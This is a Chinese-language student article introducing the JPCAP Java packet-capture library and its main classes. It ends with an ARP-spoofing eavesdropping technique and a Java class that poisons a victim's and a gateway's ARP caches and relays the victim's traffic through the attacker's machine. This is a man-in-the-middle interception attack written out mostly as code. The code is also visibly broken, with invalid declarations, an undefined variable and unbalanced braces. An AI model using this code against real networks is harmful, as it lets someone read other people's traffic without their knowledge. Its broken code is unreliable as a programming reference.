半年前網絡技術課的老師要我們做個ARP查詢,老師是教人用winsock的,可我一味鑽java,幹着急,鑽進java世界到處查,終于找到這麼一個東西。
然後做了一個ARP監聽器,沒想到被老師看上了,說是國内JPCAP研究的人不多,可以考慮寫一篇論文,老師給我推薦發表。
于是有了這麼一篇東西。不過現在還不知道老師發哪個刊物去了。。。老師說,還沒回音。。
JPCAP —— JAVA 中的資料鍊路層控制 一. JPCAP 簡介 衆所周知,JAVA語言雖然在TCP/UDP傳輸方面給予了良好的定義,但對于網絡層以下的控制,卻是無能為力的。JPCAP擴充包彌補了這一點。 JPCAP實際上并非一個真正去實作對資料鍊路層的控制,而是一個中間件,JPCAP調用wincap/libpcap,而給JAVA語言提供一個公共的接口,進而實作了平台無關性。在官方網站上聲明,JPCAP支援FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系統。 二. JPCAP 機制 JPCAP的整個結構大體上跟wincap/libpcap是很相像的,例如NetworkInterface類對應wincap 的 typedef struct _ADAPTER ADAPTER , getDeviceList() 對應pcap_findalldevs()等等。 JPCAP有16個類,下面就其中最重要的4個類做說明。 1. NetworkInterface 該類的每一個執行個體代表一個網絡裝置,一般就是網卡。這個類隻有一些資料成員,除了繼承自java.lang.Object的基本方法以外,沒有定義其它方法。
資料成員 | |
NetworkInterfaceAddress[] | addresses 這個接口的網絡位址。設定為數組應該是考慮到有些裝置同時連接配接多條線路,例如路由器。但我們的PC機的網卡一般隻有一條線路,是以我們一般取addresses[0]就夠了。 |
java.lang.String | datalink_description . 資料鍊路層的描述。描述所在的區域網路是什麼網。例如,以太網(Ethernet)、無線LAN網(wireless LAN)、令牌環網(token ring)等等。 |
java.lang.String | datalink_name 該網絡裝置所對應資料鍊路層的名稱。具體來說,例如Ethernet10M、100M、1000M等等。 |
java.lang.String | description 網卡是XXXX牌子XXXX型号之類的描述。例如我的網卡描述:Realtek RTL8169/8110 Family Gigabit Ethernet NIC |
boolean | Loopback 标志這個裝置是否loopback裝置。 |
byte[] | mac_address 網卡的MAC位址,6個位元組。 |
java.lang.String | Name 這個裝置的名稱。例如我的網卡名稱:/Device/NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5} |
2. JpcapCaptor 該類提供了一系列靜态方法實作一些基本的功能。該類一個執行個體代表建立了一個與指定裝置的連結,可以通過該類的執行個體來控制裝置,例如設定網卡模式、設定過濾關鍵字等等。
| |
| 抛棄的包的數目。 |
| 這個資料成員在官方文檔中并沒有做任何說明,檢視 JPCAP 源代碼可以發現這個 ID 實際上在其 JNI 的 C 代碼部分傳進來的,這類本身并沒有做出定義,是以是供其内部使用的。實際上在對 JpcapCator 執行個體的使用中也沒有辦法調用此資料成員。 |
| 同樣在官方文檔中沒有做任何說明,估計其為供内部使用。 |
| 同樣在官方文檔中沒有做任何說明,估計其為供内部使用。 |
| 收到的包的數目 |
| |
| 傳回一個網絡裝置清單。 |
| 建立一個與指定裝置的連接配接并傳回該連接配接。注意,以上兩個方法都是靜态方法。 Interface :要打開連接配接的裝置的執行個體; Snaplen :這個是比較容易搞混的一個參數。其實這個參數不是限制隻能捕捉多少資料包,而是限制每一次收到一個資料包,隻提取該資料包中前多少位元組; Promisc :設定是否混雜模式。處于混雜模式将接收所有資料包,若之後又調用了包過濾函數 setFilter() 将不起任何作用; To_ms :這個參數主要用于 processPacket() 方法,指定逾時的時間; |
| () 關閉調用該方法的裝置的連接配接,相對于 openDivece() 打開連接配接。 |
| 該傳回一個 JpcapSender 執行個體, JpcapSender 類是專門用于控制裝置的發送資料包的功能的類。 |
| 捕捉并傳回一個資料包。這是 JpcapCaptor 執行個體中四種捕捉包的方法之一。 |
| 捕捉指定數目的資料包,并交由實作了 PacketReceiver 接口的類的執行個體處理,并傳回捕捉到的資料包數目。如果 count 參數設為- 1 ,那麼無限循環地捕捉資料。 這個方法不受逾時的影響。還記得 openDivice() 中的 to_ms 參數麼?那個參數對這個方法沒有影響,如果沒有捕捉到指定數目資料包,那麼這個方法将一直阻塞等待。 PacketReceiver 中隻有一個抽象方法 void receive(Packet p) 。 |
| 跟 |
| 跟 |
| . 設定要提取的包的關鍵字。 |
| 如果值為“ true ”,那麼設定為“ non-blocking ”模式。 |
| () 當調用 processPacket() 和 loopPacket() 後,再調用這個方法可以強制讓 processPacket() 和 loopPacket() 停止。 |
3. JpcapSender 該類專門用于控制資料包的發送。
| |
| 強制關閉這個連接配接。 |
| 這個方法傳回的 JpcapSender 執行個體發送資料包時将自動填寫資料鍊路層頭部分。 |
| JpcapSender 最重要的功能,發送資料包。需要注意的是,如果調用這個方法的執行個體是由 JpcapCaptor 的 得到的話,那麼無需也不能設定,資料鍊路層的頭部将由系統自動生成。 |
4. Packet 這個是所有其它資料包類的父類。Jpcap所支援的資料包有:
ARPPacket 、 DatalinkPacket 、 EthernetPacket 、 ICMPPacket 、 IPPacket 、 TCPPacket 、 UDPPacket 三.使用JPCAP 實作監聽 1 .監聽原理 在詳細說用JPCAP實作網絡監聽實作前,先簡單介紹下監聽的原理。 區域網路監聽利用的是所謂的“ARP欺騙”技術。在以前曾經一段階段,區域網路的布局是使用總線式(或集線式)結構,要到達監聽隻需要将網卡設定為混雜模式即可,但現在的區域網路絡普遍采用的是交換式網絡,是以單純靠混雜模式來達到監聽的方法已經不可行了。是以為了達到監聽的目的,我們需要“欺騙”路由器、“欺騙”交換機,即“ARP欺騙”技術。 假設本機為A,監聽目标為B。 首先,僞造一個ARP REPLY包,資料鍊路層頭及ARP内容部分的源MAC位址填入A的MAC位址,而源IP部分填入網關IP,目的位址填入B的MAC、IP,然後将這個包發送給B,而B接收到這個僞造的ARP REPLY包後,由于源IP為網關IP,于是在它的ARP快取記錄裡重新整理了一項,将(網關IP,網關MAC)重新整理成(網關IP,A的MAC)。而B要通路外部的網都需要經過網關,這時候這些要經過網關的包就通通流到A的機器上來了。 接着,再僞造一個ARP REPLY包,資料鍊路層頭及ARP内容部分的源MAC位址填入A的MAC位址,而源IP部分填入B的IP,目的位址填入網關MAC、IP,然後将這個包發給網關,網關接收到這個僞造的ARP REPLY包後,由于源IP為B的IP,于是在它的ARP快取記錄裡重新整理了一項,将(B的IP,B的MAC)重新整理成(B的IP,A的MAC)。這時候外部傳給B的資料包經過網關時,就通通轉發給A。 這樣還隻是攔截了B的資料包而已,B并不能上網——解決方法是将接收到的包,除了目的位址部分稍做修改,其它原封不動的再轉發出去,這樣就達到了監聽的目的——在B不知不覺中浏覽了B所有的對外資料包。 ARP 資料包解析 單元: Byte
Ethernet 頭部 | ARP 資料部分 | |||||||||
6 | 6 | 2 | 2 | 2 | 2 | 2 | 4 | 6 | 4 | 6 |
目标 MAC 位址 | 源地 MAC 位址 | 類型号 0x0800:ip 0x0806:ARP | 區域網路類型 以太網 0x0001 | 網絡協定類型 IP 網絡 0x0800 | MAC/IP 位址長度,恒為 0x06/04 | ARP 包類型 REPLY 0x0002 | ARP 目标 IP 位址 | ARP 目标 MAC 位址 | ARP 源 IP 位址 | ARP 源 MAC 位址 |
2 .用JPCAP 實作監聽 就如上面說的,為了實作監聽,我們必須做四件事: A.發送ARP包修改B的ARP快取記錄; B.發送ARP包修改路由ARP快取記錄; C.轉發B發過來的資料包; D.轉發路由發過來的資料包; 下面我們給個小小的例子說明怎樣實作。 我們假定運作這個程式的機器A隻有一個網卡,隻接一個網絡,所在區域網路為Ethernet,并且假定已經通過某種方式獲得B和網關的MAC位址(例如ARP解析獲得)。我們修改了B和網關的ARP表,并對他們的包進行了轉發。 public class changeARP{ private NetworkInterface[] devices; // 裝置清單 private NetworkInterface device; // 要使用的裝置 private JpcapCaptor jpcap; // 與裝置的連接配接 private JpcapSender sender; // 用于發送的執行個體 private byte[] targetMAC, gateMAC; //B 的 MAC 位址,網關的 MAC 位址 private byte[] String targetIp, String gateIp; //B 的 IP 位址,網關的 IP 位址 private NetworkInterface getDevice() throws IOException { devices = JpcapCaptor.getDeviceList(); // 獲得裝置清單 device = devices[0]; // 隻有一個裝置 jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); // 打開與裝置的連接配接 jpcap.setFilter(“ip”,true); // 隻監聽 B 的 IP 資料包 sender = captor.getJpcapSenderInstance(); } public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp) throws UnknownHostException,InterruptedException { this. targetMAC = targetMAC; this. targetIp = targetIp; this. gateMAC = gateMAC; this. gateIp = gateIp; getDevice(); arpTarget = new ARPPacket(); // 修改 B 的 ARP 表的 ARP 包 arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; // 選擇以太網類型 (Ethernet) arpTarget.prototype = ARPPacket.PROTOTYPE_IP; // 選擇 IP 網絡協定類型 arpTarget.operation = ARPPacket.ARP_REPLY; // 選擇 REPLY 類型 arpTarget.hlen = 6; //MAC 位址長度固定 6 個位元組 arpTarget.plen = 4; //IP 位址長度固定 4 個位元組 arpTarget.sender_hardaddr = device.mac_address; //A 的 MAC 位址 arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); // 網關 IP arpTarget.target_hardaddr = targetMAC; //B 的 MAC 位址 arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B 的 IP EthernetPacket ethToTarget = new EthernetPacket(); // 建立一個以太網頭 ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; // 選擇以太包類型 ethToTarget.src_mac = device.mac_address; //A 的 MAC 位址 ethToTarget.dst_mac = targetMAC; //B 的 MAC 位址 arpTarget.datalink = ethToTarget; // 将以太頭添加到 ARP 包前 arpGate = new ARPPacket(); // 修改網關 ARP 表的包 arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; // 跟以上相似,不再重複注析 arpGate.prototype = ARPPacket.PROTOTYPE_IP; arpGate.operation = ARPPacket.ARP_REPLY; arpGate.hlen = 6; arpGate.plen = 4; arpGate.sender_hardaddr = device.mac_address; arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress(); arpGate.target_hardaddr = gateMAC; arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress(); EthernetPacket ethToGate = new EthernetPacket(); ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP; ethToGate.src_mac = device.mac_address; ethToGate.dst_mac = gateMAC; arpGate.datalink = ethToGate; thread=new Thread(new Runnable(){ // 建立一個程序控制發包速度 public void run() { while (true) { sender.sendPacket(arpTarget); sender.sendPacket(arpGate); Thread.sleep(500); }).start(); recP(); // 接收資料包并轉發 } private void send(Packet packet, byte[] changeMAC) { EthernetPacket eth; if (packet.datalink instanceof EthernetPacket) { eth = (EthernetPacket) packet.datalink; for (int i = 0; i < 6; i++) { eth.dst_mac[i] = changeMAC[i]; // 修改包以太頭,改變包的目标 eth.src_mac[i] = device.mac_address[i]; // 源發送者為 A } sender.sendPacket(packet); } } public void recP(){ IPPacket ipPacket = null; while(true){ ipPacket = ( IPPacket ) jpcap.getPacket(); System.out.println(ipPacket); if (ipPacket.src_ip.getHostAddress().equals(targetIp)) send(packet, gateMAC); else send(packet, targetMAC); } } 注意:這個例子隻是為了說明問題,并沒有考慮到程式的健壯性,是以并不一定能在任何一台機器任何一個系統上運作。